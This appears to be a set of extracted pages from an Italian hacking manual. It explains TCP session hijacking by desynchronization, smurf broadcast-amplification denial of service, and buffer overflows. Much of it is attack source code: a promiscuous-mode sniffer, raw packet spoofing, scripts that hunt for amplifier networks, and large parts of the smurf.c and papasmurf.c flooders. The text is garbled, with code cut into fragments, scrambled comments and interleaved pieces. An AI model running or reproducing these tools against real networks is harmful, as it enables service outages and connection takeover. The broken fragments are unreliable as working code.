int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { char
pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead>verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead>destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) ((rc_IPhead->verlen & 0xF) << 2) ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl;
RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; }
Stato di Desincronizzazione
La seguente spiegazione orientata a spiegare desincronizzazione. Per semplicit da adesso in poi indicheremo con: SVR_SEQ SVR_ACK SRV_WND CLT_SEQ CLT_ACK CLT_WND il il la il il la quello che il concetto di
Sequence number del prossimo byte che il server spedir prossimo byte che il server si aspetta di ricevere grandezza della finestra di ricezione del server Sequence number del prossimo byte che il client spedir prossimo byte che il client si aspetta di ricevere grandezza della finestra di ricezione del client
In una situazione di "calma" durante una connessione, cio un momento in cui non vengono spediti dati da entrambe le parti, le seguenti equazioni sono vere: SVR_SEQ = CLT_ACK e CLT_SEQ = SRV_ACK Invece mentre sono trasferiti dei dati sono vere queste altre espressioni: CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WND SRV_ACK <= CLT_SEQ <= SRV_ACK + SRV_WND da cui si pu capire che un pacchetto accettabile se il suo Sequence number appartiene all'intervallo [SRV_ACK, SRV_ACK + SRV_WIN] per il server e [CLT_ACK, CLT_ACK + CLT_WIN] per il client. Se il Sequence number supera o precede questo intervallo il pacchetto viene scartato e viene spedito un pacchetto contenente nell'Acknowledgement number il Sequence number del prossimo byte atteso. Il termine desincronizzazione si riferisce ad una situazione in cui durante una connessione in un periodo di "calma" sono vere le seguenti equazioni SVR_SEQ != CLT_ACK e CLT_SEQ != SRV_ACK (dove != sta a significare diverso). Se una connessione si trovasse in una situazione di questo tipo e dei dati venissero spediti da una delle parti potrebbero presentarsi due casi distinti: - Se CLT_SEQ < SVR_ACK + SVR_WND e CLT_SEQ > SVR_ACK il pacchetto accettabile e i dati vengono memorizzati per un uso futuro, ma non vengono processati. - Se CLT_SEQ > SVR_ACK + SVR_WND o CLT_SEQ < SVR_ACK il pacchetto non accettabile e viene scartato. In pratica se una connessione in questo stato i due host non possono scambiarsi dati.
A ------H---R------------ B | C ------+
A e C = Host della stessa sottorete B = Host di una rete diversa da A e C H = HUB R = Router che delimita la sottorete
Supponiamo che esista una connessione telnet da A verso B e che l'attaccante si trovi nella postazione C. Cosa succederebbe se quest'ultimo in un periodo di "calma" della connessione tra A e B mandasse un pacchetto spoofato a B in modo da far credere che provenga da A? Semplice, B aggiornerebbe l'Acknowledgement number di A (SVR_ACK) in base al pacchetto ricevuto desincronizzandosi dal Sequence number reale di A (CLT_SEQ). A questo punto i pacchetti spediti da A verranno scartati in quanto per B hanno un Sequence number errato. Vediamo un esempio per capire meglio:
SEQ=100 ACK=500 DATI=10 A spedisce un pacchetto contenente 10 Byte di Dati A -----------------------> B Sequence number=100 e Acknowledgement number=500
B si aggiorna Sequence number e Acknowledgement number: Sequence number = 500 Acknowledgement = 100 + 10
SEQ=500 ACK=110 DATI=15 B spedisce un pacchetto contenente 15 Byte di Dati A <----------------------- B Sequence number=500 e Acknowledgement number=110
Il pacchetto arriva ad A che si riaggiorna Acknowledgement number e Sequence number: Sequence number = 110 Acknowledgement = 500 + 15 A questo punto si intromette l'attaccante con un pacchetto Spoofato, usando il Sequence number e l'Acknowledgement number corretti.
SEQ=110 ACK=515 DATI=20 C spedisce un pacchetto spoofato contenente A(C) -----------------------> B 20 Byte di Dati Sequence number=110 e Acknowledgement number=515
B si aggiorna Sequence number e Acknowledgement number: Sequence number = 515 Acknowledgement = 110 + 20 A questo punto B desincronizzato rispetto ad A in quanto il prossimo byte che B si aspetta da A il 130, mentre il Sequence number di A a 110. Quindi i pacchetti che A spedir a B da questo momento in poi verranno scartati. L'attaccante per sa cosa si aspetta B e perci pu mandare dei pacchetti creati appositamente per essere accettati. Ricordiamo che nel nostro esempio la connessione in corso era una sessione telnet, quindi adesso l'attaccante pu mandare comandi di shell a B come se fosse A. C' da notare che nell'esempio appena descritto non c' una desincronizzazione da entrambe le parti, infatti abbiamo che CLT_SEQ != SRV_ACK ma SVR_SEQ = CLT_ACK. Quindi l'host A accetter tutti i pacchetti spediti da B come risposta ai comandi dell'attaccante, e quindi vedr tutto quello che questi sta facendo. Per evitare ci l'attaccante deve creare una situazione di desincronizzazione anche nell'altro senso di trasmissione spedendo un pacchetto spoofato ad A come se provenisse da B. Ricordiamo che essendo l'attaccante nella stessa sottorete di A in grado di vedere l'output dei propri comandi sniffando i pacchetti di risposta spediti da B. Ci sono varie tecniche per ottenere la desincronizzazione di una connessione. Quella vista nell'esempio quella usata solitamente e consiste appunto nello spedire un pacchetto spoofato contenente dei dati sia al server che al client.
#define IP_TTL 7 struct IP_Header { unsigned IP_Hdrlen:4; unsigned IP_Vers:4; u_char IP_Tos; u_short IP_Len; u_short IP_Id; u_short IP_FragOff; u_char IP_Ttl; u_char IP_Proto; u_short IP_Checksum; struct in_addr IP_Source; struct in_addr IP_Dest; }; struct TCP_Header { u_short TCP_sport;
/* /* /* /* /* /* /* /* /* /* /*
IP Header Length */ IP Version */ Type of Service */ Total Length */ Identification */ Fragment Offset */ Time To Live */ Protocol */ Checksum */ Source Address */ Destination Address */
unsigned TCP_resv1:4; unsigned TCP_hlen:4; unsigned unsigned unsigned unsigned unsigned unsigned unsigned u_short u_short u_short }; struct Pseudo_Header { u_long ps_sip; u_long ps_dip; u_char ps_zero; u_char ps_proto; u_short ps_len; }; #define IPH_SIZE sizeof(struct IP_Header) #define TCPH_SIZE sizeof(struct TCP_Header) #define PACKETSIZE IPH_SIZE + TCPH_SIZE // TOTAL LENGTH u_short ip_checksum(u_short*, int, u_long, int); int SendRawPack(char*, char*, int, int); WSADATA wsa; SOCKET sd; int main(int argc, char **argv) { int ttl; printf("WinSock Extension example\nAuthor: dbl-dipper\n\n"); if(argc != 5) { printf("- Usage: <src_ip> <dst_ip> <src_port> <dst_port>\n"); return -1; } if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0) { printf("This needs WinSock 1.1 or better...\n"); return -1; } sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sd == INVALID_SOCKET) { printf("Problem with socket()...\n"); WSACleanup(); return -1; } ttl = 0; // MUST be 0 !! (sounds crazy but it works) if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl)) == SOCKET_ERROR) TCP_f_fin:1; TCP_f_syn:1; TCP_f_reset:1; TCP_f_push:1; TCP_f_ack:1; TCP_f_urg:1; TCP_resv2:2; TCP_win; TCP_cksum; TCP_urgp;
(max =
/* [Includes] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include <unistd.h> <stdlib.h> <string.h> <netdb.h> <stdio.h> <sys/types.h> <sys/socket.h> <netinet/in.h> <netinet/in_systm.h> <netinet/ip.h> <netinet/tcp.h> <netinet/protocols.h> <arpa/inet.h> <netdb.h> <signal.h> <netinet/ip_udp.h> <string.h> <pwd.h>
/* [Banner] */ void banner() { printf("\t\t\t%s Author - Soldier \n", VERSION); printf("\t\t\t [10.27.96] \n\n"); printf("This Copy Registered to: %s\n\n", FRIEND); }
/* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; int int int int int dstport = 0; srcport = 0; numpacks = 0; psize = 0; wait = 0;
/* [Usage] */ void usage(char *pname) { printf("usage:\n "); printf("%s [-s src] <dest>\n\n", pname); printf("\t-s <src> printf("\t-n <num> printf("\t-p <size> printf("\t-d <port> DSTPORT); printf("\t-o <port> SRCPORT); printf("\t-w <time> printf("\t<dest> printf("\n"); exit(EXIT_SUCCESS); }
[-n num] [-p size] [-d port] [-o port] [-w wait] : : : : source where packets are comming from\n"); number of UDP packets to send\n"); Packet Size [Default is 1024]\n"); Destination Port [Default is %.2d]\n", [Default is %.2d]\n", 1]\n");
: Source Port
/* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); }
Smurf
Una delle metodologie legate allattivit hacker di fatto legata a quelle chiamate con il termine di DOS ovvero Denial of Service. Lo scopo di questi tipi di attacchi quello di consumare le risorse dei sistemi remoti in modo tale che questi smettano di funzionare o comunque degradino le loro prestazioni. Lo scopo di questa tecnica ? Chiaramente quella legata al fatto in se stesso finalizzato soltanto al fatto di soddisfare quella parte dellanimale uomo che procura piacere nellistante in cui si danneggia il prossimo. Un altro scopo un po pi elevato come finalit quello di riuscire a bloccare le trasmissioni di un determinato host al fine di cercare di sostituirsi a questo in un sistema di hosts considerati come trusted. Una domanda che verr spontanea quella legata al fatto di non riuscire a comprendere come un sistema di un hacker, con una linea magari a 28 KB, possa di fatto riuscire a fare esaurire le risorse, ad esempio quelle di banda, di un qualche server che connesso a internet tramite linee come ad esempio le T1. Nel capitolo legato alla descrizione dei protocolli avevamo parlato di un tipo di indirizzo particolare e precisamente quello relativo al broadcasting. Un server che riceve un pacchetto legato al protocollo ICMP di PING (ICMP servizio ECHO REQUEST) indirizzato ad un indirizzo di broadcast invia a sua volta lo stesso a tutti gli host a lui connessi per cui chiaramente il traffico generato viene amplificato a tal punto che un sistema con un modem come quello appena detto a 28 K potrebbe al limite costringere un sistema a occupare 2/3 di una linea T1. Pur essendo uno degli attacchi pi recenti i sistemisti esperti hanno subito imparato a proteggersi inserendo allinterno dei routers speciali filtri atti a non permettere il passaggio di certi tipi di pacchetti. In ogni caso esistono certi siti che pubblicano gli scan fatti specificando gli IP soggetti agli attacchi SMURF e il numero di sistemi a cui questi cercano di inoltrare i pacchetti quando ricevono i fatidici pacchetti di PING. Dal punto di vista del sistemista dobbiamo dire che il tracing di questo genere di attacco abbastanza complesso. Volendolo schematizzare graficamente lo potremmo rappresentare nel seguente modo :
A V S B = = = = Host Attaccante Host Vittima Sottorete contenente 100 Host Indirizzo di broadcast della sottorete S A Spedisce un pacchetto ICMP "ECHO REQUEST" Spoofato con l'indirizzo di V all'indirizzo di broadcast della sottorete.
La ricerca degli IP con possibilit di broadcast che replichino con pi di 30 sistemi pu essere eseguita con il seguente programmino di shell per Unix.
--- bips.sh --#!/bin/bash # find broadcast ip's that reply with 30+ dupes. # i decided to make this script into two sections. when running this make # sure both parts are in the same directory. if [ $# != 1 ]; then echo "$0 <domain - ie: college.edu>" else host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips cat $1.ips | cut -d'.' -f1-3 | sort |\ awk '{ print echo ""$1".255" }' > $1.tmp cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping rm -f $1.ips $1.tmp chmod 700 $1.ping ./$1.ping rm $1.ping fi
Il seguente sorgente invece controlla se su un determinati IP possibile inviare messaggi di broadcast che generino in certo numero di messaggi ICMP di replica.
--- chekdup.sh --#!/bin/bash # this checks possible broadcast ip's for a given amount of icmp echo # replies. ping -c 2 $1 > $1.out if cat $1.out | grep dupl > /dev/null then export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`" else export DUPES=1 fi if [ $DUPES -gt 30 ]; then echo "$1 had $DUPES dupes" >> bips.results rm -f $1.out else rm -f $1.out fi
Il sorgente in Linguaggio C relativo a questo tipo di exploits quello che segue. Il programma per ambiente Unix.
---- smurf.c ---/* * * * * * * * * * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $ spoofs icmp packets from a host to various broadcast addresses resulting in multiple replies to that host from a single packet. orginial linux code by tfreak, most props to him, all I did was port it to operating systems with a less perverse networking system, such as FreeBSD, and many others. -Griffin
unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); }
/* stamp */ char
id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";
int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) in file %s\n\n", argv[2]);
&bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n");
void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s <target> <bcast file> " "<num packets> <packet delay> <packet size>\n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct { struct ip struct icmp char int sockaddr_in sin, u_long dest, int psize) *ip; *icmp; *packet; hincl = 1;
packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); } free(packet); /* free willy! */
void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) {
Il programma per eccellenza legato a questo tipo dattacco quello definito con il termine di PAPASMURF.C
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
(papa)smurf.c v5.0 by TFreak - http://www.rootshell.com A year ago today I made what remains the questionable decision of releasing my program 'smurf', a program which uses broadcast "amplifiers" to turn an icmp flood into an icmp holocaust, into the hands of packet monkeys, script kiddies and all round clueless idiots alike. Nine months following, a second program 'fraggle', smurfs udp cousin, was introducted into their Denial of Service orgy. This brings us to today, July 28, 1998, one year after my first "mistake". The result, proof that history does repeat itself and a hybrid of the original programs. First may I say that I in no way take credit for "discovering" this. There is no doubt in my mind that this idea was invisioned long before I was even sperm -- I merely decided to do something about it. Secondly, if you want to hold me personally responsible for turning the internet into a larger sesspool of crap than it already is, then may I take this opportunity to deliver to you a message of the utmost importance -- "Fuck you". If I didn't write it, someone else would have. I must admit that there really is no security value for me releasing this new version. In fact, my goals for the version are quite silly. First, I didn't like the way my old code looked, it was ugly to look at and it did some stupid unoptimized things. Second, it's smurfs one year birthday -- Since I highly doubt anyone would have bought it a cake, I thought I would do something "special" to commemorate the day. Hmm, I am starting to see why I am known for my headers (wage eats playdough!). Well, I guess this wouldn't be the same if I did not include some sort of shoutouts, so here goes... A hearty handshake to... o MSofty, pbug, Kain -- No matter which path each of you decides to take in the future, I will always look back upon these days as one of the most enjoyable, memorable and thought-provoking experiences of my life. I have nothing but the highest degree of respect for each of you, and I value your friendship immensely. Here's to living, learning and laughing -- Cheers gentlemen. --Dan Hi JoJo! morbid and his grandam barbiegirl gino styles, yo. The old #havok crew. Pharos,silph,[email protected],Viola,Vonne,Dianora,fyber,silitek, brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige, RedFemme,nici,everlast,and everyone else I know and love.
o o o o
A hearty enema using 15.0mol/L HCl to... o #Conflict. Perhaps you are just my scapegoat of agression, but you all really need to stop flooding efnet servers/taking over irc channels/mass owning networks running old qpoppers and get a fucking life. BR. It wouldn't be the same without you in here, but to be honest you really aren't worth the space in the already way-to-bloated header, nor the creative energy of me coming up with an intricate bash that you will never understand anyway. Shrug, hatred disguises itself as apathy with time.
/* End of Hideously Long Header */ #include <stdio.h> #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #ifdef LINUX #define __FAVOR_BSD #ifndef _USE_BSD #define _USE_BSD #endif #endif #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #ifdef LINUX #define FIX(n) #else #define FIX(n) #endif htons(n) (n)
/* should be __FAVOUR_BSD ;) */
struct smurf_t { struct sockaddr_in sin; int s; int udp, icmp; int rnd; int psize; int num; */ int delay; u_short dstport[25+1]; u_short srcport; char *padding; }; /* function prototypes */ void usage (char *); u_long resolve (char *); void getports (struct smurf_t *, char *); void smurficmp (struct smurf_t *, u_long); void smurfudp (struct smurf_t *, u_long, int); u_short in_chksum (u_short *, int); int main (int argc, char *argv[]) { struct smurf_t sm;
/* socket prot structure */ /* socket */ /* icmp, udp booleans */ /* Random dst port boolean */ /* packet size */ /* number of packets to send /* /* dest port /* /* junk data delay between (in ms) */ array (udp) */ source port (udp) */ */
} if (strcmp(optarg, "both") == 0) { sm.icmp = 1; sm.udp = 1; break; } puts("Error: Protocol must be icmp, udp or both"); exit(-1); /* source port */ case 's': sm.srcport = (u_short) atoi(optarg); break; /* specify packet size */ case 'S': sm.psize = atoi(optarg); break; /* filename to read padding in from */ case 'f': /* open and stat */ if ((fd = open(optarg, O_RDONLY)) == -1) { perror("Opening packet data file"); exit(-1); } if (fstat(fd, &st) == -1) { perror("fstat()"); exit(-1); } /* malloc and read */ sm.padding = (char *) malloc(st.st_size); if (read(fd, sm.padding, st.st_size) < st.st_size) { perror("read()"); exit(-1); } sm.psize = st.st_size; close(fd); break; default: usage(argv[0]);
/* create packet padding if neccessary */ if (!sm.padding) { sm.padding = (char *) malloc(sm.psize); memset(sm.padding, 0, sm.psize); } /* create the raw socket */ if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { perror("Creating raw socket (are you root?)"); exit(-1); } /* Include IP headers ourself (thanks anyway though) */ if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt()"); exit(-1); }
void usage (char *s) { fprintf(stderr, "usage: %s <source host> <broadcast file> [options]\n" "\n" "Options\n" "-p: Comma separated list of dest ports (default 7)\n" "-r: Use random dest ports\n" "-R: Use random src/dest ports\n" "-s: Source port (0 for random (default))\n"
u_long resolve (char *host) { struct in_addr in; struct hostent *he; /* try ip first */ if ((in.s_addr = inet_addr(host)) == -1) { /* nope, try it as a fqdn */ if ((he = gethostbyname(host)) == NULL) { /* can't resolve, bye. */ herror("Resolving victim host"); exit(-1); } memcpy( (caddr_t) &in, he->h_addr, he->h_length); } } return(in.s_addr);
void getports (struct smurf_t *sm, char *p) { char tmpbuf[16]; int n, i; for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++) { if (*p == ',') { tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); n++; i = -1; continue; } tmpbuf[i] = *p; } tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); sm->dstport[n + 1] = 0;
void smurficmp (struct smurf_t *sm, u_long dst) { struct ip *ip; struct icmp *icmp; char *packet; int pktsize = sizeof(struct ip) + sizeof(struct icmp) + sm->psize; packet = malloc(pktsize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, pktsize); /* fill in IP header */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0;
/* thx griffin */
/* send it on its way */ if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, sizeof(struct sockaddr)) == -1) { perror("sendto()"); exit(-1); } } free(packet); /* free willy! */
void smurfudp (struct smurf_t *sm, u_long dst, int n) { struct ip *ip; struct udphdr *udp; char *packet, *data; int pktsize = sizeof(struct ip) + sizeof(struct udphdr) + sm->psize; packet = (char *) malloc(pktsize); ip = (struct ip *) packet; udp = (struct udphdr *) (packet + sizeof(struct ip)); data = (char *) (packet + sizeof(struct ip) + sizeof(struct udphdr)); memset(packet, 0, pktsize); if (*sm->padding) memcpy((char *)data, sm->padding, sm->psize); /* fill in IP header */ ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = FIX(pktsize); ip->ip_ttl = 255; ip->ip_off = 0; ip->ip_id = FIX( getpid() ); ip->ip_p = IPPROTO_UDP; ip->ip_sum = 0; ip->ip_src.s_addr = sm->sin.sin_addr.s_addr; ip->ip_dst.s_addr = dst; /* fill in UDP header */ if (sm->srcport) udp->uh_sport = htons(sm->srcport); else udp->uh_sport = htons(rand()); if (sm->rnd) udp->uh_dport = htons(rand()); else udp->uh_dport = htons(sm->dstport[n]); udp->uh_ulen = htons(sizeof(struct udphdr) + sm->psize); udp->uh_sum = in_chksum((u_short *)udp, sizeof(udp)); /* send it on its way */ if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin, sizeof(struct sockaddr)) == -1) { perror("sendto()"); exit(-1); } free(packet); } /* free willy! */
//
/* socket
/* try ip first */ if ((in.s_addr = inet_addr(host)) == -1) { /* nope, try it as a fqdn */ if ((he = gethostbyname(host)) == NULL) { /* can't resolve, bye. */ herror("Resolving victim host"); exit(-1); } memcpy( (caddr_t) &in, he->h_addr, he->h_length); } return(in.s_addr); } void getports (struct smurf_t *sm, char *p) { char tmpbuf[16]; int n, i; for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++) { if (*p == ',') { tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); n++; i = -1; continue; } tmpbuf[i] = *p; } tmpbuf[i] = '\0'; sm->dstport[n] = (u_short) atoi(tmpbuf); sm->dstport[n + 1] = 0; } void smurficmp (struct smurf_t *sm, u_long dst) { struct iphdr *ip; struct icmphdr *icmp; char *packet; int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize; packet = malloc(pktsize); ip = (struct iphdr *) packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, pktsize); /* fill in IP header */ ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = htons(pktsize); ip->id = htons(getpid()); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP;
/* thx
I buffers overflow
Quando una persona, dopo aver studiato lhacking, scopre che di fatto questo non dispone di bacchette magiche per riuscire ad entrare nei sistemi remoti, spesso ci rimane male. La realt che non una bacchetta magica ma un piccolo bastoncino alcune volte c anche se utilizzarlo non sicuramente una delle cose pi semplici. Vi sarete chiesti negli altri capitoli sul come mai venivano trattati argomenti come lassembler. Ecco il perch ! Il sistema dei buffer overflow costituisce un metodo per raggiungere due obbiettivi differenti.
char main(void) { char datiricevuti[1000]; gets(datiricevuti); memcpy(buffer, datiricevuti, strlen(datiricevuti)); } La variabile locale datiricevuti, come potete vedere, di dimensioni molto maggiori a quella del buffer allocato globalmente, precisamente 10 volte. I dati letti dalla funzione GETS verrebbero da prima collocati in questa variabile locale e poi copiati dentro al buffer dalla funzione MEMCPY. Da questo si potrebbe capire che il valore inserito da tastiera potrebbe essere fino a 1000 bytes visto che la variabile che riceve direttamente questi dati di queste dimensioni. La funzione di copia al limite potrebbe copiare a partire dal primo indirizzo della variabile di destinazione anche molti BYTES di pi di quanti ne potrebbe ricevere buffer. Tutto questo per il fatto che il programma di fatto non controlla in effetti la dimensione del buffer da copiare e usa una funzione, STRLEN, che imbastisce il numero di bytes di copiare a seguito della valutazione del solo buffer di lettura locale.
proc near = byte ptr -3E8h sub esp, 3E8h lea eax, [esp+3E8h+var_3E8] push esi push edi push eax call _gets lea edi, [esp+3F4h+var_3E8] or ecx, 0FFFFFFFFh xor eax, eax add esp, 4 repne scasb not ecx dec ecx lea esi, [esp+3F0h+var_3E8] mov edx, ecx mov edi, offset unk_4098B0 shr ecx, 2 repe movsd mov ecx, edx and ecx, 3 repe movsb pop edi pop esi add esp, 3E8h retn endp
Come potete vedere la linea 00401029 mov edi, offset unk_4098B0 setta loffset di dove caricare il valore. unk_4098B0 corrisponde al nome dato dal disassemblatore alla variabile buffer. Capirete che se il valore che verr copiato pi corto o uguale ai 100 bytes riservati questi verranno inseriti nello spazio riservato per il buffer stesso. Se invece di 100 bytes la lunghezza fosse molto maggiore si andrebbe a sovra scrivere la zona di codice creando problemi seri di esecuzione. Nel caso precedente loverflow del buffer avveniva nel caso di un buffer statico allocato in un segmento dati.
main(void)
